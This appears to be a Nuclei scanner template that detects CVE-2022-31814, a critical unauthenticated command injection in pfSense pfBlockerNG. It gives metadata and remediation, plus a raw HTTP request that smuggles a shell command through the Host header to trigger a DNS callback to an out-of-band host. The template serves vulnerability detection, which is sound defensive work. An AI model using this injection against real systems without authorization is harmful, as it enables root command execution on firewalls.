pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection

id: CVE-2022-31814

info:
  name: pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection
  author: EvergreenCartoons
  severity: critical
  description: |
    pfSense pfBlockerNG through 2.1.4_26 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade to a patched version of pfSense pfBlockerNG (>=2.1..4_27) to mitigate this vulnerability.
  reference:
    - https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
    - https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
    - https://github.com/EvergreenCartoons/SenselessViolence
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31814
    - http://packetstormsecurity.com/files/171123/pfBlockerNG-2.1.4_26-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31814
    cwe-id: CWE-78
    epss-score: 0.91881
    epss-percentile: 0.99819
    cpe: cpe:2.3:a:netgate:pfblockerng:*:*:*:*:*:pfsense:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: netgate
    product: pfblockerng
    framework: pfsense
  tags: cve,cve2022,packetstorm,pfsense,pfblockerng,rce,oast,netgate,vkev,vuln

http:
  - raw:
      - |+
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |+
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: ' *; host {{interactsh-url}}; '
        Accept: */*

    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "GIF")'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"